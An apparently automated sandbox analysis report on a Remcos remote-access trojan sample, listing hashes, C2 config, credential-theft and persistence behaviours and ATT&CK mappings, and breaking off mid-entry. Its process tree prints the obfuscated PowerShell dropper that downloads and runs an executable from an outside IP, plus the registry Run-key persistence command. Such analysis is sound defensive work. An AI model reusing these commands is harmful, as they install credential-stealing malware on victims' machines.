remcos | f99757c98007da241258ae12ec0fd5083f0475a993ca6309811263aad17d4661

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
01-10-2024 01:55

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General

Target

f99757c98007da241258ae12ec0fd5083f0475a993ca6309811263aad17d4661.hta
Size

115KB
MD5

c443d03e485232a860b726fc83593004
SHA1

6b556d04962638694402d15b7fa24b6bd6b1d1f4
SHA256

f99757c98007da241258ae12ec0fd5083f0475a993ca6309811263aad17d4661
SHA512

3a7201a36b2875c59db6e41369f52c941cd5d0d51bf90fca31abf05f71c76a7d5a6305667649ae8d2f63a3951a44643402853c096b07143531eaa6f6c5bb7c34
SSDEEP

96:Ea+M73rNp6fEVNp60WU1Qgr8l+Qu3i9pNp6R6Np6Er5BfqVNp61AT:Ea+Q35puEnp08QgocyNpJpxCnpxT

Score

10^/10

remcos rem_doc2 collection defense_evasion discovery execution persistence rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

Rem_doc2

107.173.4.16:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-DSGECX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 6 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3904-146-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3904-148-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3260-141-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3260-135-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1304-134-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1304-151-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 2 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3260-141-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView
behavioral2/memory/3260-135-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1304-134-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView
behavioral2/memory/1304-151-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	1612	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3772	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
1612	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	Vaccinerende.exe

Executes dropped EXE 4 IoCs

pid	Process
212	dllhost.exe
1304	Vaccinerende.exe
3260	Vaccinerende.exe
3904	Vaccinerende.exe

Loads dropped DLL 1 IoCs

pid	Process
3496	Vaccinerende.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Vaccinerende.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chivey57 = "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\\Software\\Roscoelite\\').Aftvttedes;%Misbehavers% ($Frligheden)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3496	Vaccinerende.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3772	powershell.exe
3496	Vaccinerende.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3772 set thread context of 3496	3772	powershell.exe	98
PID 3496 set thread context of 1304	3496	Vaccinerende.exe	103
PID 3496 set thread context of 3260	3496	Vaccinerende.exe	104
PID 3496 set thread context of 3904	3496	Vaccinerende.exe	105

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\omdigtendes.udd	dllhost.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\knytt\Ballistics.mus	dllhost.exe
File opened for modification	C:\Windows\resources\villan\Knastakslerne.ini	dllhost.exe
File created	C:\Windows\brandbombernes.lnk	dllhost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vaccinerende.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vaccinerende.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vaccinerende.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vaccinerende.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4348	reg.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1612	powershell.exe
1612	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
3772	powershell.exe
1304	Vaccinerende.exe
1304	Vaccinerende.exe
3904	Vaccinerende.exe
3904	Vaccinerende.exe
1304	Vaccinerende.exe
1304	Vaccinerende.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3772	powershell.exe
3496	Vaccinerende.exe
3496	Vaccinerende.exe
3496	Vaccinerende.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	3772	powershell.exe
Token: SeIncreaseQuotaPrivilege	3772	powershell.exe
Token: SeSecurityPrivilege	3772	powershell.exe
Token: SeTakeOwnershipPrivilege	3772	powershell.exe
Token: SeLoadDriverPrivilege	3772	powershell.exe
Token: SeSystemProfilePrivilege	3772	powershell.exe
Token: SeSystemtimePrivilege	3772	powershell.exe
Token: SeProfSingleProcessPrivilege	3772	powershell.exe
Token: SeIncBasePriorityPrivilege	3772	powershell.exe
Token: SeCreatePagefilePrivilege	3772	powershell.exe
Token: SeBackupPrivilege	3772	powershell.exe
Token: SeRestorePrivilege	3772	powershell.exe
Token: SeShutdownPrivilege	3772	powershell.exe
Token: SeDebugPrivilege	3772	powershell.exe
Token: SeSystemEnvironmentPrivilege	3772	powershell.exe
Token: SeRemoteShutdownPrivilege	3772	powershell.exe
Token: SeUndockPrivilege	3772	powershell.exe
Token: SeManageVolumePrivilege	3772	powershell.exe
Token: 33	3772	powershell.exe
Token: 34	3772	powershell.exe
Token: 35	3772	powershell.exe
Token: 36	3772	powershell.exe
Token: SeDebugPrivilege	3904	Vaccinerende.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 4644 wrote to memory of 1600	4644	mshta.exe	82
PID 4644 wrote to memory of 1600	4644	mshta.exe	82
PID 4644 wrote to memory of 1600	4644	mshta.exe	82
PID 1600 wrote to memory of 1612	1600	cmd.exe	84
PID 1600 wrote to memory of 1612	1600	cmd.exe	84
PID 1600 wrote to memory of 1612	1600	cmd.exe	84
PID 1612 wrote to memory of 4352	1612	powershell.exe	85
PID 1612 wrote to memory of 4352	1612	powershell.exe	85
PID 1612 wrote to memory of 4352	1612	powershell.exe	85
PID 4352 wrote to memory of 3628	4352	csc.exe	86
PID 4352 wrote to memory of 3628	4352	csc.exe	86
PID 4352 wrote to memory of 3628	4352	csc.exe	86
PID 1612 wrote to memory of 212	1612	powershell.exe	91
PID 1612 wrote to memory of 212	1612	powershell.exe	91
PID 1612 wrote to memory of 212	1612	powershell.exe	91
PID 212 wrote to memory of 3772	212	dllhost.exe	92
PID 212 wrote to memory of 3772	212	dllhost.exe	92
PID 212 wrote to memory of 3772	212	dllhost.exe	92
PID 3772 wrote to memory of 3496	3772	powershell.exe	98
PID 3772 wrote to memory of 3496	3772	powershell.exe	98
PID 3772 wrote to memory of 3496	3772	powershell.exe	98
PID 3772 wrote to memory of 3496	3772	powershell.exe	98
PID 3772 wrote to memory of 3496	3772	powershell.exe	98
PID 3496 wrote to memory of 4576	3496	Vaccinerende.exe	100
PID 3496 wrote to memory of 4576	3496	Vaccinerende.exe	100
PID 3496 wrote to memory of 4576	3496	Vaccinerende.exe	100
PID 4576 wrote to memory of 4348	4576	cmd.exe	102
PID 4576 wrote to memory of 4348	4576	cmd.exe	102
PID 4576 wrote to memory of 4348	4576	cmd.exe	102
PID 3496 wrote to memory of 1304	3496	Vaccinerende.exe	103
PID 3496 wrote to memory of 1304	3496	Vaccinerende.exe	103
PID 3496 wrote to memory of 1304	3496	Vaccinerende.exe	103
PID 3496 wrote to memory of 3260	3496	Vaccinerende.exe	104
PID 3496 wrote to memory of 3260	3496	Vaccinerende.exe	104
PID 3496 wrote to memory of 3260	3496	Vaccinerende.exe	104
PID 3496 wrote to memory of 3904	3496	Vaccinerende.exe	105
PID 3496 wrote to memory of 3904	3496	Vaccinerende.exe	105
PID 3496 wrote to memory of 3904	3496	Vaccinerende.exe	105

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\f99757c98007da241258ae12ec0fd5083f0475a993ca6309811263aad17d4661.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cnbavijt\cnbavijt.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4352
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES90B7.tmp" "c:\Users\Admin\AppData\Local\Temp\cnbavijt\CSC3826E2E667AF45448CB5E8AEA1A61982.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3628
  - - C:\Users\Admin\AppData\Roaming\dllhost.exe
      "C:\Users\Admin\AppData\Roaming\dllhost.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:212
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3772
      - C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe"
        6⤵
        Checks computer location settings
        Loads dropped DLL
        Suspicious use of NtCreateThreadExHideFromDebugger
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:3496
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4576
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
        8⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
        
        C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\kluyobgzdiu"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1304
        
        C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
        
        C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\mnaqotqtrqmqwa"
        7⤵
        Executes dropped EXE
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3260
        
        C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
        
        C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\xhnbpmbnfyevhgeqnl"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
8be74d5a9c7b7a9d3ef5a22720fa5560

SHA1
9b88d145269eb0f6521512f5108556551dd2c202

SHA256
ca19a1a1fedbcef1e6fd3a2e260bba95e2c4484a6ce7b8168842c101b2d7b71c

SHA512
8956cb5cbdf6f3d4ae7023e6d214b13610278efa5ab759c864a52f8508181e29654172622fb27d0a64d169fabc7c46a6f4e264c02f19507a8ed25f3d3e58e52b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES90B7.tmp

Filesize
1KB

MD5
fa2588097b0545287ea206768db0c3c0

SHA1
e8c7527ef8b736e31f57213126c77b326c280f79

SHA256
6f79b4fe127fd6f3af2a04f002e58f971d4d1deb183a9f766138c9eedc58de63

SHA512
315fd33bf1f0e6fb6200edcfe53ac94b77d3582254dec7bf55d8ead4a80c4ac83395a825fe17cf820cbeb0cd609de7260489edb9e5643584106f3880bb32d184

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qaabjvjj.oxv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cnbavijt\cnbavijt.dll

Filesize
3KB

MD5
18245743ee52b00c2b5fd5c5f06f80f8

SHA1
6a9dbe1af84abdd5f64458b71bae601222600688

SHA256
818fbe64940a0c1ebf2961cdd3530ff4f7949e9141ffb83d20403c9572911ae5

SHA512
dc0f7a97daad955d83b0d0c5f6ba68aad8bd33ece8ae34d167c8b495d3365773f9992b8e1cc3a9e71d9e881db5950766f9128b7b7f5a3372a7c3159f70e5dbc3

Download Submit
C:\Users\Admin\AppData\Local\Temp\kluyobgzdiu

Filesize
4KB

MD5
c0ab2847671ed5375328c5127a02cc72

SHA1
dc2bcb51562fb17e5c8787833bc0181d88a5b75e

SHA256
e961f466a0638bc99182d0056245e2d8bf1ccc13a189b802aada981f379e2384

SHA512
0b8b634d21ac71e02cef86687bf84b6fcecfd24dafab8130f42ce8b4b3f308a2e1b1fa7bf8d37f2eda76efae2b30b8d39f41d808d771562d8545ed144241924f

Download Submit
C:\Users\Admin\AppData\Roaming\dllhost.exe

Filesize
967KB

MD5
450228d72f9f726b645c55bbbc6db905

SHA1
b26075c51a4681f2ff7407188f5e9480545a7aca

SHA256
9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be

SHA512
4795d090447d237cbe1a044ffe78e8cd0c9be358df778673b4713eab2c324056a7701d22b827b95b2413845089fa71ac81a4f47cc8bcdbabad34845e64b4e090

Download Submit
C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res

Filesize
52KB

MD5
552ed0904239d64db1895620b38dc799

SHA1
8a6a6c6efd31b04c716cde1783b45783f2843e20

SHA256
d4d98fdbe306d61986bed62340744554e0a288c5a804ed5c924f66885cbf3514

SHA512
21f283ac39223437470036ec08eb01bf40c4a0c45ea5b94bb4d902cf66923db4d14641ce68370d240ab2b213527552dfde13eb1ff4b21a0bbf0c1ee6aed7ade7

Download Submit
C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Valvulate.Cru

Filesize
349KB

MD5
14c1d52f24f29389597b36dcfc90b95a

SHA1
a2578253f17b5f0ef989965dcb74aebb60763b2d

SHA256
f9b744d0223efe3c01c94d526881a95523c2f5e457f03774dd1d661944e60852

SHA512
4dde50c0b37e51b944a7a61866730e53e96773e28c35260dcae1eb38805251c3ba8e72c5d33ae2cb8d7486a4d3c6c180ec4560e3c20a6c535ca3a70aac158710

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\cnbavijt\CSC3826E2E667AF45448CB5E8AEA1A61982.TMP

Filesize
652B

MD5
63b03c8fbb273b23a784d3d168bd0d9d

SHA1
41701e9cb3798d08dc05d6d938d4f7fdcfd7ba5f

SHA256
3f0d36d9b3e5a0206b9537712ead7d8d12343d5ba7fe863941ce105f9be984f1

SHA512
5e1f97c6e36e3226e183b40380c4cf530c6448be1ca23b12d602a2fef40bc1648f085c6859c31a00fa2d95273a51a9e0bbeacc18a2dce0548d05ef0fea1c736e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\cnbavijt\cnbavijt.0.cs

Filesize
474B

MD5
ed8b0b366b8fd7bdf35fcddb6a6fc768

SHA1
f333be6ecec2ac5315dc3cb28ffe6202e6c3e142

SHA256
f179dbf6f56665e7020a3cf42a5150aed8a15253ccbcf368cdc526c88d90d99b

SHA512
1ace461d8af56f8002e38eb8274f86c026abfbfbd851c93d878d9a211ee727005b98c7236f43e1497c0a654ba45dc87ab6ed3ec49c77b3a3013e771381f523ce

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\cnbavijt\cnbavijt.cmdline

Filesize
369B

MD5
46e53b5cb9995afe882271dba61fbf7a

SHA1
eb3275cd6b9807538dcfc68543053a5795456de3

SHA256
f720569ad560eabfd80f7dea27d5391b13223b8d7715ce88f923a75ec1b45fd0

SHA512
dd9ca0ae44204d9b81cde1cca9e3c449887c8a18babbd9a3d92161979443a6e7366d748a3624569c6a221063d5d1d8f9ae3db24f77e77f53c42d45f372b54503

Download Submit
memory/1304-132-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1304-134-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1304-126-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1304-151-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1612-63-0x0000000070E40000-0x00000000715F0000-memory.dmp

Filesize
7.7MB

Download
memory/1612-21-0x000000006D700000-0x000000006D74C000-memory.dmp

Filesize
304KB

Download
memory/1612-35-0x0000000008390000-0x0000000008A0A000-memory.dmp

Filesize
6.5MB

Download
memory/1612-36-0x0000000007D50000-0x0000000007D6A000-memory.dmp

Filesize
104KB

Download
memory/1612-37-0x0000000007DC0000-0x0000000007DCA000-memory.dmp

Filesize
40KB

Download
memory/1612-38-0x0000000007FE0000-0x0000000008076000-memory.dmp

Filesize
600KB

Download
memory/1612-39-0x0000000007F40000-0x0000000007F51000-memory.dmp

Filesize
68KB

Download
memory/1612-40-0x0000000007F70000-0x0000000007F7E000-memory.dmp

Filesize
56KB

Download
memory/1612-41-0x0000000007F80000-0x0000000007F94000-memory.dmp

Filesize
80KB

Download
memory/1612-42-0x0000000007FC0000-0x0000000007FDA000-memory.dmp

Filesize
104KB

Download
memory/1612-43-0x0000000007FB0000-0x0000000007FB8000-memory.dmp

Filesize
